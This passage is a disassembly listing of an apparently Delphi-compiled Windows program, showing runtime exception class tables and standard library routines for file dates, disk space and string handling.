off_4037A8	dd offset dword_40A694	; DATA XREF: DATA:off_409390o
		dd 0FFE0h
off_4037B0	dd offset dword_40A694	; DATA XREF: DATA:off_409408o
		dd 0FFE1h
off_4037B8	dd offset dword_40A694	; DATA XREF: DATA:off_4093E4o
		dd 0FFE2h
off_4037C0	dd offset dword_40A694	; DATA XREF: DATA:off_409340o
		dd 0FFE3h
off_4037C8	dd offset dword_40A694	; DATA XREF: DATA:off_409344o
		dd 0FFE4h
off_4037D0	dd offset dword_40A694	; DATA XREF: DATA:off_4093ECo
		dd 0FFE5h
off_4037D8	dd offset dword_40A694	; DATA XREF: DATA:off_409404o
		dd 0FFE6h
off_4037E0	dd offset dword_40A694	; DATA XREF: DATA:off_409304o
		dd 0FFE7h
off_4037E8	dd offset dword_40A694	; DATA XREF: DATA:off_4090F8o
					; DATA:off_409314o
		dd 0FFE8h
off_4037F0	dd offset dword_40A694	; DATA XREF: DATA:off_4090FCo
					; DATA:off_409354o
		dd 0FFE9h
off_4037F8	dd offset dword_40A694	; DATA XREF: DATA:off_4092BCo
		dd 0FFEAh
off_403800	dd offset dword_40A694	; DATA XREF: DATA:off_409410o
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_403804+1 ; CODE XREF: CODE:loc_403804j
; ---------------------------------------------------------------------------
		align 4
off_403808	dd offset dword_40A694	; DATA XREF: DATA:off_4093A8o
		dd 0FFECh
off_403810	dd offset dword_40A694	; DATA XREF: DATA:off_409358o
		dd 0FFEDh
off_403818	dd offset dword_40A694	; DATA XREF: DATA:off_4093C8o
		dd 0FFEEh
off_403820	dd offset dword_40A694	; DATA XREF: DATA:off_409374o
		dd 0FFEFh
off_403828	dd offset dword_40A694	; DATA XREF: DATA:off_409368o
		dd 0FFD0h
off_403830	dd offset dword_40A694	; DATA XREF: DATA:off_409328o
		dd 0FFD1h
off_403838	dd offset dword_40A694	; DATA XREF: DATA:off_4092D8o
		dd 0FFD2h
off_403840	dd offset dword_40A694	; DATA XREF: DATA:off_4093B4o
		dd 0FFD3h
off_403848	dd offset dword_40A694	; DATA XREF: DATA:off_409360o
		dd 0FFD4h
off_403850	dd offset dword_40A694	; DATA XREF: DATA:off_4093A4o
		dd 0FFD5h
off_403858	dd offset dword_40A694	; DATA XREF: DATA:off_4093D4o
		dd 0FFD6h
off_403860	dd offset dword_40A694	; DATA XREF: DATA:off_409318o
		dd 0FFD7h
		dd offset dword_40A694	; DATA XREF: DATA:off_4093CCo
		dd 0FFD8h
off_403870	dd offset dword_40A694	; DATA XREF: DATA:off_409110o
					; DATA:off_409400o
		dd 0FFD9h
off_403878	dd offset dword_40A694	; DATA XREF: DATA:off_409114o
					; DATA:off_409378o
		dd 0FFDAh
off_403880	dd offset dword_40A694	; DATA XREF: DATA:off_409118o
					; DATA:off_4093E0o
		dd 0FFDBh
off_403888	dd offset dword_40A694	; DATA XREF: DATA:off_40911Co
					; DATA:off_4092B8o
		dd 0FFDCh
off_403890	dd offset dword_40A694	; DATA XREF: DATA:off_409120o
					; DATA:off_4092E8o
		dd 0FFDDh
off_403898	dd offset dword_40A694	; DATA XREF: DATA:off_409124o
					; DATA:off_409414o
		dd 0FFDEh
off_4038A0	dd offset dword_40A694	; DATA XREF: DATA:off_409128o
					; DATA:off_4093D0o
		dd 0FFDFh
off_4038A8	dd offset dword_40A694	; DATA XREF: DATA:off_40912Co
					; DATA:off_4092D0o
		dd 0FFC0h
off_4038B0	dd offset dword_40A694	; DATA XREF: DATA:off_409130o
					; DATA:off_40930Co
		dd 0FFC1h
off_4038B8	dd offset dword_40A694	; DATA XREF: DATA:off_409134o
					; DATA:off_40937Co
; ---------------------------------------------------------------------------
		retn	0FFh
; ---------------------------------------------------------------------------
		align 10h
off_4038C0	dd offset dword_40A694	; DATA XREF: DATA:off_409138o
					; DATA:off_4093D8o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_4038C8	dd offset dword_40A694	; DATA XREF: DATA:off_40913Co
					; DATA:off_4093F8o
		dd 0FFC4h
off_4038D0	dd offset dword_40A694	; DATA XREF: DATA:off_409140o
					; DATA:off_40935Co
		dd 0FFC5h
off_4038D8	dd offset dword_40A694	; DATA XREF: DATA:off_409144o
					; DATA:off_4092C4o
		dd 0FFC6h
off_4038E0	dd offset dword_40A694	; DATA XREF: DATA:off_409148o
					; DATA:off_409330o
		dd 0FFC7h
off_4038E8	dd offset dword_40A694	; DATA XREF: DATA:off_40914Co
					; DATA:off_40936Co
		dd 0FFC8h
off_4038F0	dd offset dword_40A694	; DATA XREF: DATA:off_409150o
					; DATA:off_40938Co
		dd 0FFC9h
off_4038F8	dd offset dword_40A694	; DATA XREF: DATA:off_409154o
					; DATA:off_409364o
; ---------------------------------------------------------------------------
		retf	0FFh
; ---------------------------------------------------------------------------
		align 10h
off_403900	dd offset dword_40A694	; DATA XREF: DATA:off_409158o
					; DATA:off_40931Co
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_403908	dd offset dword_40A694	; DATA XREF: DATA:off_40915Co
					; DATA:off_409370o
		db 0CCh
		db 0FFh, 2 dup(0)
off_403910	dd offset dword_40A694	; DATA XREF: DATA:off_409160o
					; DATA:off_4093B8o
		dd 0FFCDh
off_403918	dd offset dword_40A694	; DATA XREF: DATA:off_409164o
					; DATA:off_4092C8o
		dd 0FFCEh
off_403920	dd offset dword_40A694	; DATA XREF: DATA:off_409168o
					; DATA:off_409324o
		dd 0FFCFh
off_403928	dd offset dword_40A694	; DATA XREF: DATA:off_40916Co
					; DATA:off_40933Co
		dd 0FFB0h
off_403930	dd offset dword_40A694	; DATA XREF: DATA:off_409170o
					; DATA:off_40939Co
		dd 0FFB1h
off_403938	dd offset dword_40A694	; DATA XREF: DATA:off_409174o
					; DATA:off_4093BCo
		dd 0FFB2h
off_403940	dd offset dword_40A694	; DATA XREF: DATA:off_409178o
					; DATA:off_4093C4o
		dd 0FFB3h
off_403948	dd offset dword_40A694	; DATA XREF: DATA:off_40917Co
					; DATA:off_409380o
		dd 0FFB4h
off_403950	dd offset dword_40A694	; DATA XREF: DATA:off_409180o
					; DATA:off_4092F4o
		dd 0FFB5h
off_403958	dd offset dword_40A694	; DATA XREF: DATA:off_409184o
					; DATA:off_409394o
		dd 0FFB6h
off_403960	dd offset dword_40A694	; DATA XREF: DATA:off_409188o
					; DATA:off_409348o
		dd 0FFB7h
off_403968	dd offset dword_40A694	; DATA XREF: DATA:off_40918Co
					; DATA:off_4092E4o
		dd 0FFB8h
off_403970	dd offset dword_40A694	; DATA XREF: DATA:off_409190o
					; DATA:off_4092F0o
		dd 0FFB9h
off_403978	dd offset dword_40A694	; DATA XREF: DATA:off_409194o
					; DATA:off_4092F8o
		dd 0FFBAh
off_403980	dd offset dword_40A694	; DATA XREF: DATA:off_409198o
					; DATA:off_4092CCo
		dd 0FFBBh
off_403988	dd offset dword_40A694	; DATA XREF: DATA:off_40919Co
					; DATA:off_4093ACo
		dd 0FFBCh
off_403990	dd offset dword_40A694	; DATA XREF: DATA:off_4091A0o
					; DATA:off_4092DCo
		dd 0FFBDh
off_403998	dd offset dword_40A694	; DATA XREF: DATA:off_4091A4o
					; DATA:off_4093DCo
		dd 0FFBEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039A0	proc near		; DATA XREF: CODE:00407B54o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4039C5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A6AC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4039CC


loc_4039C4:				; CODE XREF: sub_4039A0+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4039C5:				; DATA XREF: sub_4039A0+6o
		jmp	loc_4022D0
; ---------------------------------------------------------------------------
		jmp	short loc_4039C4
; ---------------------------------------------------------------------------


loc_4039CC:				; CODE XREF: sub_4039A0:loc_4039C4j
					; DATA XREF: sub_4039A0+1Fo
		pop	ebp
		retn
sub_4039A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4039D0	proc near		; DATA XREF: CODE:00407B50o
		sub	ds:dword_40A6AC, 1
		retn
sub_4039D0	endp

; ---------------------------------------------------------------------------
off_4039D8	dd offset dword_403A24	; DATA XREF: CODE:00403A68o
					; CODE:00403B20o ...
		dd 2 dup(0)
		dd offset dword_403A24
		dd 4 dup(0)
		dd offset word_403A36
		dd 0Ch
		dd offset off_40100C
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403A24	dd 0Eh,	10000h						; CODE:004039E4o ...
		db 2 dup(0)
		dd offset off_401000
		dw 4
		db 2 dup(0)
word_403A36	dw 4509h		; DATA XREF: CODE:004039F8o
		dd 70656378h, 6E6F6974h
off_403A40	dd offset dword_403A8C	; DATA XREF: CODE:00403AC4o
					; CODE:00403F4Co
		dd 7 dup(0)
		dd offset dword_403A8C
		dd 10h
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_405A74
		dd offset sub_401F40
dword_403A8C	dd 6548450Eh, 78457061h, 74706563h, 906E6F69h					; CODE:00403A60o
off_403A9C	dd offset dword_403AE8	; DATA XREF: sub_405FA4+8r
		dd 7 dup(0)
		dd offset dword_403AE8
		dd 10h
		dd offset off_403A40
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_405A74
		dd offset sub_401F40
dword_403AE8	dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h					; CODE:00403ABCo
off_403AF8	dd offset dword_403B44	; DATA XREF: sub_405AA0+2Dr
					; sub_405AA0+4Cr
		dd 7 dup(0)
		dd offset dword_403B44
		dd 10h
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403B44	dd 6E49450Bh, 4574754Fh, 726F7272h					; CODE:00403B18o
off_403B50	dd offset dword_403B9C	; DATA XREF: CODE:00403BD0o
					; CODE:00403C30o ...
		dd 7 dup(0)
		dd offset dword_403B9C
		dd 10h
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403B9C	dd 78454509h, 6E726574h, 0C08B6C61h					; CODE:00403B70o
off_403BA8	dd offset dword_403BF4	; DATA XREF: sub_405EC8+82r
		dd 7 dup(0)
		dd offset dword_403BF4
		dd 10h
		dd offset off_403B50
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403BF4	dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
					; DATA XREF: CODE:off_403BA8o
					; CODE:00403BC8o ...
off_403C08	dd offset dword_403C54	; DATA XREF: CODE:00403C88o
					; CODE:00403CE0o ...
		dd 7 dup(0)
		dd offset dword_403C54
		dd 10h
		dd offset off_403B50
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403C54	dd 6E494509h, 72724574h, 0C08B726Fh					; CODE:00403C28o
		dd offset dword_403CAC
		dd 7 dup(0)
		dd offset dword_403CAC
		dd 10h
		dd offset off_403C08
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403CAC	dd 6944450Ah, 5A794276h, 906F7265h					; CODE:00403C80o ...
		dd offset dword_403D04
		dd 7 dup(0)
		dd offset dword_403D04
		dd 10h
		dd offset off_403C08
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403D04	dd 6152450Bh, 4565676Eh, 726F7272h					; CODE:00403CD8o ...
		dd offset dword_403D5C
		dd 7 dup(0)
		dd offset dword_403D5C
		dd 10h
		dd offset off_403C08
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403D5C	dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h					; CODE:00403D30o ...
off_403D6C	dd offset dword_403DB8	; DATA XREF: CODE:00403DECo
					; CODE:00403E44o ...
		dd 7 dup(0)
		dd offset dword_403DB8
		dd 10h
		dd offset off_403B50
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403DB8	dd 614D450Ah, 72456874h, 90726F72h					; CODE:00403D8Co
		dd offset dword_403E10
		dd 7 dup(0)
		dd offset dword_403E10
		dd 10h
		dd offset off_403D6C
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403E10	dd 6E49450Ah, 696C6176h, 90704F64h					; CODE:00403DE4o ...
		dd offset dword_403E68
		dd 7 dup(0)
		dd offset dword_403E68
		dd 10h
		dd offset off_403D6C
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403E68	dd 655A450Bh, 69446F72h, 65646976h					; CODE:00403E3Co ...
		dd offset dword_403EC0
		dd 7 dup(0)
		dd offset dword_403EC0
		dd 10h
		dd offset off_403D6C
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403EC0	dd 764F4509h, 6C667265h, 0C08B776Fh					; CODE:00403E94o ...
		dd offset dword_403F18
		dd 7 dup(0)
		dd offset dword_403F18
		dd 10h
		dd offset off_403D6C
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403F18	dd 6E55450Ah, 66726564h, 90776F6Ch					; CODE:00403EECo ...
off_403F24	dd offset dword_403F70	; DATA XREF: sub_405FA4+1Fr
		dd 7 dup(0)
		dd offset dword_403F70
		dd 10h
		dd offset off_403A40
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_405A74
		dd offset sub_401F40
dword_403F70	dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh					; CODE:00403F44o
		dd offset dword_403FCC
		dd 7 dup(0)
		dd offset dword_403FCC
		dd 0Ch
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_403FCC	dd 6E49450Ch, 696C6176h, 73614364h, 408D74h					; CODE:00403FA0o ...
off_403FDC	dd offset dword_404028	; DATA XREF: sub_4043CC+Fr
		dd 7 dup(0)
		dd offset dword_404028
		dd 0Ch
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_404028	dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh					; CODE:00403FFCo
off_404038	dd offset dword_404084	; DATA XREF: sub_405CFC+122r
					; sub_405CFC+17Er
		dd 7 dup(0)
		dd offset dword_404084
		dd 10h
		dd offset off_403B50
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_404084	dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
					; DATA XREF: CODE:off_404038o
					; CODE:00404058o ...
		dd offset dword_4040E4
		dd 7 dup(0)
		dd offset dword_4040E4
		dd 10h
		dd offset off_403B50
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_4040E4	dd 7250450Ah, 6C697669h, 90656765h					; CODE:004040B8o ...
		dd offset dword_40413C
		dd 7 dup(0)
		dd offset dword_40413C
		dd 10h
		dd offset off_403B50
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_40413C	dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch					; CODE:00404110o ...
		dd offset dword_404198
		dd 7 dup(0)
		dd offset dword_404198
		dd 10h
		dd offset off_403B50
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_404198	dd 6F434509h, 6F72746Eh, 0C08B436Ch					; CODE:0040416Co ...
		dd offset dword_4041F0
		dd 7 dup(0)
		dd offset dword_4041F0
		dd 0Ch
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_4041F0	dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh					; CODE:004041C4o ...
off_404200	dd offset dword_40424C	; DATA XREF: sub_405B74+72r
		dd 7 dup(0)
		dd offset dword_40424C
		dd 0Ch
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_40424C	dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
					; DATA XREF: CODE:off_404200o
					; CODE:00404220o ...
off_404260	dd offset dword_4042AC	; DATA XREF: sub_405C4C+8r
		dd 7 dup(0)
		dd offset dword_4042AC
		dd 0Ch
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_4042AC	dd 6241450Eh, 61727473h, 72457463h, 90726F72h					; CODE:00404280o
		dd offset dword_404308
		dd 7 dup(0)
		dd offset dword_404308
		dd 0Ch
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_404308	dd 6E49450Eh, 61436674h, 72457473h, 90726F72h					; CODE:004042DCo ...
		dd offset dword_404364
		dd 7 dup(0)
		dd offset dword_404364
		dd 0Ch
		dd offset off_4039D8
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_404364	dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
					; DATA XREF: CODE:00404318o
					; CODE:00404338o ...
off_404378	dd offset dword_40437C	; DATA XREF: sub_406B98+8Fr
dword_40437C	dd 332E0311h, 434h		db 0
		dd offset off_401000
		db 48h,	2 dup(0)
		db 0
		dd offset off_401000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch
off_40439C	dd offset dword_4043A0	; DATA XREF: sub_406B98+7Fr
dword_4043A0	dd 342E0311h, 434h		db 0
		dd offset off_401000
		db 48h,	2 dup(0)
		db 0
		dd offset off_401000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1
dword_4043C8	dd 24h		
; =============== S U B	R O U T	I N E =======================================



sub_4043CC	proc near		; CODE XREF: sub_404654+4Cp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, off_403FDC
		call	sub_4059E0
		call	sub_402308
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4043CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4043F0	proc near		; CODE XREF: sub_40534C+3Ep
					; sub_4053C4+34p ...

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, edx
		mov	edx, esp
		call	sub_401B20
		cmp	[esp+8+var_8], 0
		jz	short loc_404403
		mov	eax, ebx


loc_404403:				; CODE XREF: sub_4043F0+Fj
		pop	edx
		pop	ebx
		retn
sub_4043F0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_404410	dd 30h,	0FFFFFFFFh, 2, 312Dh					; DATA:004090F4o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404420	proc near		; CODE XREF: sub_404488+5p

var_14C		= byte ptr -14Ch
var_138		= byte ptr -138h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEB4h
		push	ebx
		mov	ebx, eax
		lea	eax, [ebp+var_14C]
		push	eax
		mov	eax, ebx
		call	sub_402A38
		push	eax
		call	sub_403608	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404479
		push	eax
		call	sub_403600	; FindClose
		test	[ebp+var_14C], 10h
		jnz	short loc_404479
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		call	sub_4035F8	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4+2]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4035F0	; FileTimeToDosDateTime
		test	eax, eax
		jnz	short loc_404480


loc_404479:				; CODE XREF: sub_404420+23j
					; sub_404420+32j
		mov	[ebp+var_4], 0FFFFFFFFh


loc_404480:				; CODE XREF: sub_404420+57j
		mov	eax, [ebp+var_4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404420	endp


; =============== S U B	R O U T	I N E =======================================



sub_404488	proc near		; CODE XREF: sub_406F88+8p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_404420
		inc	eax
		setnz	al
		pop	ebx
		retn
sub_404488	endp


; =============== S U B	R O U T	I N E =======================================



sub_404498	proc near		; CODE XREF: sub_4044E8+Ep
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_402840
		mov	edi, eax
		mov	eax, ebx
		call	sub_402A38
		mov	ebp, eax
		test	edi, edi
		jle	short loc_4044DE


loc_4044B6:				; CODE XREF: sub_404498+44j
		mov	bl, [esi+edi-1]
		test	bl, bl
		jz	short loc_4044D9
		mov	edx, ebx
		mov	eax, ebp
		call	sub_404634
		test	eax, eax
		jz	short loc_4044D9
		mov	edx, edi
		mov	eax, esi
		call	sub_406164
		cmp	al, 2
		jnz	short loc_4044DE
		dec	edi


loc_4044D9:				; CODE XREF: sub_404498+24j
					; sub_404498+31j
		dec	edi
		test	edi, edi
		jg	short loc_4044B6


loc_4044DE:				; CODE XREF: sub_404498+1Cj
					; sub_404498+3Ej
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404498	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4044E8	proc near		; CODE XREF: sub_405CFC+CCp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, offset dword_40451C
		call	sub_404498
		mov	esi, eax
		push	edi
		lea	edx, [esi+1]
		mov	ecx, 7FFFFFFFh
		mov	eax, ebx
		call	sub_402A94
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4044E8	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_40451C	dd 3A5Ch	
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404520	proc near		; DATA XREF: sub_40685C+2Ao

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_404530
		xor	eax, eax


loc_404530:				; CODE XREF: sub_404520+Cj
		lea	edx, [ebp+var_10]
		push	edx
		lea	edx, [ebp+var_C]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	sub_403628	; GetDiskFreeSpaceA
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		imul	[ebp+var_8]
		xor	edx, edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_402DC0
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_402DC0
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_404520	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404594	proc near		; CODE XREF: sub_404AE0+16p
					; CODE:00405765p ...
		mov	edx, edi
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		mov	eax, 0FFFFFFFEh
		sub	eax, ecx
		mov	edi, edx
		retn
sub_404594	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4045AC	proc near		; CODE XREF: sub_404654+2Bp
		push	esi
		mov	esi, eax
		xchg	eax, edx
		call	sub_401340
		mov	eax, esi
		pop	esi
		retn
sub_4045AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4045BC	proc near		; CODE XREF: CODE:00405739p
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	ebx, ecx
		xor	al, al
		test	ecx, ecx
		jz	short loc_4045D0
		repne scasb
		jnz	short loc_4045D0
		inc	ecx


loc_4045D0:				; CODE XREF: sub_4045BC+Dj
					; sub_4045BC+11j
		sub	ebx, ecx
		mov	edi, esi
		mov	esi, edx
		mov	edx, edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		stosb
		mov	eax, edx
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4045BC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4045F0	proc near		; CODE XREF: sub_405474+109p
					; sub_405474+12Fp ...
		push	edi
		push	esi
		push	ebx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, ecx
		xor	eax, eax
		or	ecx, ecx
		jz	short loc_40462E
		repne scasb
		sub	ebx, ecx
		mov	ecx, ebx
		mov	edi, edx
		xor	edx, edx


loc_404609:				; CODE XREF: sub_4045F0+3Cj
		repe cmpsb
		jz	short loc_40462E
		mov	al, [esi-1]
		cmp	al, 61h
		jb	short loc_40461A
		cmp	al, 7Ah
		ja	short loc_40461A
		sub	al, 20h


loc_40461A:				; CODE XREF: sub_4045F0+22j
					; sub_4045F0+26j
		mov	dl, [edi-1]
		cmp	dl, 61h
		jb	short loc_40462A
		cmp	dl, 7Ah
		ja	short loc_40462A
		sub	dl, 20h


loc_40462A:				; CODE XREF: sub_4045F0+30j
					; sub_4045F0+35j
		sub	eax, edx
		jz	short loc_404609


loc_40462E:				; CODE XREF: sub_4045F0+Dj
					; sub_4045F0+1Bj
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4045F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404634	proc near		; CODE XREF: sub_404498+2Ap
					; sub_406224+Bp ...
		push	edi
		push	eax
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		not	ecx
		pop	edi
		mov	al, dl
		repne scasb
		mov	eax, 0
